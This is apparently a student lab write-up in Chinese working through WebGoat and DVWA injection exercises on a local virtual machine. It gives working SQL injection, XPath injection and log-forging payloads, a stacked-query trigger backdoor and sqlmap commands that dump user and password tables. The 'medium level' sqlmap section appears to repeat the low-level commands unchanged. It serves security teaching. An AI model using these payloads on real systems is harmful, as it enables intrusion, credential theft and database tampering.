实验目的
- 安装和配置
WebGoat
与WebScarab
; - 使用
WebGoat
,根据提示信息,完成包括Injection Flaw
大类下的String SQL
注入,Numeric SQL
注入,Log Spoofing
,XPATH Injection
等安全弱点的攻击测试。
安装和配置WebGoat
与WebScarab
用于测试的主机已经配置完成
JAVA
环境,在使用WebScarab
时只需要在webscarab-selfcontained-20070504-1631.jar
文件所在的目录调出命令行,输入1
java -jar webscarab-selfcontained-20070504-1631.jar
使用
Vmware
安装一个ubuntu
虚拟机,镜像选择GameOver.0.1.null.iso
,该镜像已经配置好WebGoat
环境安装完成后,输入命令行:
ifconfig
,查看IP地址为192.168.88.149
访问URL:
http://192.168.88.149:8080/WebGoat/attack
,输入用户名guest
和密码guest
,显示如下页面说明安装成功,点击start WebGoat
,然后点击injection flaws
进行攻击测试
String SQL
注入
在左侧菜单中找到
string SQL injection
并单击,在输入框中输入字符串Levi
,显示没有结果匹配,同时显示出查找语句1
SELECT * FROM user_data WHERE last_name = 'Levi'
根据该查找语句,输入
‘ or 1=1 --
,构造语句1
SELECT * FROM user_data WHERE last_name = '' or 1=1 -- '
--
是数据库语言中的注释字符,它的作用是将最后一个单引号变为无效字符,查询语言等同于:1
SELECT * FROM user_data
结果显示user_data中所有的数据
Numeric SQL
注入
在左侧菜单中找到
string SQL injection
并单击,页面中有一个下拉框,点击GO!
按钮可以得到查询结果如图所示,同时显示出查找语句:1
SELECT * FROM weather_data WHERE station = 101
因为页面中的输入项变成了下拉框,所以没法直接构造查询字符串, 之前的
String SQL
注入在这里无法完成,需要借助WebScarab
代理工具来完成SQL
注入攻击,使用之前配置的JAVA
环境,在webscarab-selfcontained-20070504-1631.jar
所在的目录打开命令行,并输入1
java -jar webscarab-selfcontained-20070504-1631.jar
打开
WebScarab
,在Intercept
标签中选定Intercept Request
,并在Methods
中选定POST
方法将使用的火狐浏览器设置为手动代理,地址为
127.0.0.1
,端口为8008
在网页上继续点击
GO!
,这时WebScarab
会弹出Edit Request
窗口,代理设置生效,浏览器的请求经过代理转发。URLEncoded
栏中可以看到Request
中传递的参数,其中station
就是下拉选框的参数,可以看到其值为101
将该参数修改为
101 or 1=1
,构造语句1
SELECT * FROM weather_data WHERE station = 101 or 1=1
查询语言等同于:
1
SELECT * FROM weather_data
点击
Accept changes
按钮提交Request
请求,数据库中所有数据内容都显示在页面上
Blind SQL
注入
在左侧菜单中找到
Blind SQL injection
并单击,跳转到Blind SQL injection
页面,根据提示需要盲注以找到正确的first_name
(由大小写字母构成),更改输入框内容,发现只有101
是合法的将使用的火狐浏览器设置为同上的手动代理,启动
WebScarab
,在网页上点击GO!
,这时WebScarab
会弹出Edit Request
窗口,代理设置生效,浏览器的请求经过代理转发使用盲注工具
JHijack
进行盲注,设置HijackData
为Numeric
,范围为65-122
(大小写字母ASCII码
范围),Host
设置为该网站的IP地址192.168.88.149
,Port
设置为8080
,URL设置为/WebGoat/attack?Screen=163&menu=1200
,方法改为POST
,Grep
设置为Account number is valid
,SESS ID
设置为上图中的Cookie
内容JSESSIONID=A734E5274D7A7D5D84E2D529D5D3146
4
,Hijack Type
设置为BODY
,Hijack ID
设置为account_number=101 AND (SELECT ASCII(SUBSTR(first_name,1,1)) FROM user_data WHERE userid = 15613 ) =$ --
,点击Hijack
按钮,进行第一个字符的盲注,结果得到第一个字符的ASCII码
为74
将
Hijack ID
里面的(first_name,1,1)
更改为(first_name,2,1)
,点击Hijack
,获取第二个字符的ASCII码
为111
,以此类推,直至到七个字符时,并未获得结果,说明,first_name
由六个字符构成,将ASCII码
转换成字母为:**Joesph
**将正确的
first_name:Joseph
输入到输入框点击GO!
,注入成功
Log Spoofing
(日志欺骗)
在左侧菜单中找到
Log Spoofing
并单击,页面中出现两个输入框,在username
输入框输入1‘ or 1=1 --
,点击login
,查询失败,同时显示:Login failed for username: 1' or 1=1 --
,很明显,显示的内容是Web
服务器的日志中的记录的内容在输入框中输入
1 Login Succeeded for username :
admin
,会显示Login failed for username: 1 Login Succeeded for username : admin
利用换行符
%0A
将输入内容在Login
前面分成两行,即在输入框输入:1%0d%0aLogin Succeeded for username:admin
,尝试欺骗管理员,点击Login
后在日志中显示成功使用户名admin
登录,登录日志为Login failed for username: 1
Login Succeeded for username:admin
(注意:在换行的时候要使用换行符
%0A
,如果使用回车符%0D
则只能显示登录日志,不显示攻击成功)
XPATH
注入
在左侧菜单中找到
XPATH Injection
并单击,页面中出现两个输入框,根据提示在username
输入框输入Levi
,在username
输入框输入test123
,点击submit
,网页显示Mike
的相关信息在用户名处输入
' or 1=1 or 'a' = 'a
,密码任意输入,这样服务器解析后的结果为expression = "/employees/employee[ (loginID/text() = ' or 1=1 ) OR ( 'a' = 'a' and passwd/text () = 'password' )]"
,结果显示所有人的信息
LAB:SQL Injection
在左侧菜单中找到
string SQL injection
中的Stage 1: String SQL Injection
并单击,根据网页提示,需要以boss
的用户名Neville
进行绕过密码登录尝试在密码输入栏输入:
‘ or 1=1 --
,点击Login
后显示登录失败查看网页源码,发现输入的密码被限制最大长度为
8
个字符将网页源码中最大长度修改为
20
,然后在输入:‘
or 1=1 --
,点击Login
后,成功绕过密码,显示登录成功在左侧菜单中找到
string SQL injection
中的Stage 3: Numeric SQL Injection
并单击,根据网页提示,需要以employee
账户的用户名Larry
进行登录,绕过权限限制,浏览boss
的账户信息在密码输入栏输入:
Larry
,成功登录将使用的火狐浏览器设置为手动代理,地址为
127.0.0.1
,端口为8008
。点击ViewProfile
,这时WebScarab
会弹出Edit Request
窗口,代理设置生效,浏览器的请求经过代理转发。在URLEncoded
栏中添加一条参数employee_id
,内容是:101 or 1=1 order by salary desc
,点击Accept changes
提交更改,绕过权限限制,employee
账户Larry
成功浏览boss
的账户信息
Database Backdoors
在左侧菜单中找到
Database Backdoors
并单击。根据提示,User ID
为101
。这个页面可以看到自己的password
,ssn
和salary
。我们需要使用一个易受攻击的字段来创建两条SQL
语句并尝试注入另一个更新,将工资更新到更高的级别在输入框中输入
101 OR 1=1
,尝试注入,结果显示所有User ID
的信息,注入成功选择
User ID
为105
,将他的Salary
由50000
更改为900000
,输入的内容为:103;UPDATE employee SET salary=900000 WHERE userid=105
,点击Submit
,显示注入成功接下来是创建一个后门,根据提示,输入:
105; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email = 'john@hackme.com' WHERE userid = 105
,点击Submit
,显示注入成功
思考题
针对DVWA
演练平台,在SQL Injection
攻击实验中,且要求在低级和中级安全级别中,获取用户信息表中全部的用户名及口令信息,并尝试将数据库所有库表数据全部拖出。
在浏览器中输入http://192.168.88.149 /dvwa
进入DVWA
平台,输入用户名admin
,密码password
,成功登录平台
手工注入
安全级别低级
进行安全级别设置
选择
SQL Injection
,输入ID
为1
,得到结果如下尝试输入
‘ or 1=1--
,得到报错信息,说明表单存在注入漏洞且不是数字型注入尝试字符型注入,输入
1’ or ‘1’=’1
,成功遍历数据库中的内容测试查询信息列数,输入
1’ order by x --
当测试到
3
时,出现报错信息,说明查询结果值为2
列输入
1' union select 1,2 --
,确定字段的顺序为First name,Surname输入
1’ union select 1,database() --
,得知数据库名为dvwa
输入
1' union select 1,table_name from information_schema.tables where table_schema='dvwa'--
,得知数据库两个表名为guestbook
和users
选择其中的
users
表,输入``1’,查询
user`表的字段名只需要得到用户名和密码,因此输入``1’ union select user,password from users–` ,结果如下
其中密码是
md5
加密,可以使用解码网站解密,如5f4dcc3b5aa765d61d8327deb882cf99
解密后为password
安全级别中级
进行安全级别设置
尝试输入
1’ or ‘1’=’1
,发现报错信息,可以发现安全级别为中级时,对字符进行转义处理尝试数字型注入,输入
1 or 1=1
,成功查询到所有的数据与低级类似,输入
1 union select 1,database() --
,得知数据库名为dvwa
同样,输入
1 union select user,password from users--
,得到用户名和密码,其中密码是md5
加密,可以使用解码网站解密
SQLMAP
工具注入
安全级别低级
进行安全级别设置
输入
id
为1
,使用URL
在SQLMAP
中尝试:1
python sqlmap.py -u http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
发现跳转到登陆界面,需要加上
cookie
在浏览器中查看
cookie
并记录在
SQLMAP
目标URL
带上cookie
重新尝试:1
python sqlmap.py -u "http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87 057104"
注入成功
在命令行中输入:
1
python sqlmap.py -u "http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87057104" --dbs
列举数据库名称有:
dvwa
、information_schema
、mysql
、owasp10
、wackopicko
在命令行中输入:
1
python sqlmap.py -u "http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87057104" -D dvwa –tables
选择其中的
dvwa
库查看表信息,发现有两个表,分别是:guestbook
和users
在命令行中输入:
1
python sqlmap.py -u "http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87057104" -D dvwa -T users --columns
选择
users
表,查看表中的列在命令行中输入:
1
python sqlmap.py -u "http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87057104" -D dvwa -T users -C user,password --dump
选择其中的
user
,password
进行查看,可得到全部用户名和密码,其中密码为md5
加密,可以通过解码网站破解
安全级别中级
进行安全级别设置
在SQLMAP目标url带上cookie重新尝试:
1
python sqlmap.py -u "http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87 057104"
注入成功
在命令行中输入:
1
python sqlmap.py -u "http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87057104" --dbs
列举数据库名称有:
dvwa
、information_schema
、mysql
、owasp10
、wackopicko
在命令行中输入:
1
python sqlmap.py -u "http://192.168.88.149/dvwa/ vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87057104" -D dvwa --tables
选择其中的
dvwa
库查看表信息,发现有两个表,分别是:guestbook
和users
在命令行中输入:
1
python sqlmap.py -u"http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87057104" -D dvwa -T users --columns
选择
users
表,查看表中的列在命令行中输入:
1
python sqlmap.py -u "http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87057104" -D dvwa -T users -C user,password --dump
选择其中的
user
,password
进行查看,可得到全部用户名和密码,其中密码为md5
加密,可以通过解码网站破解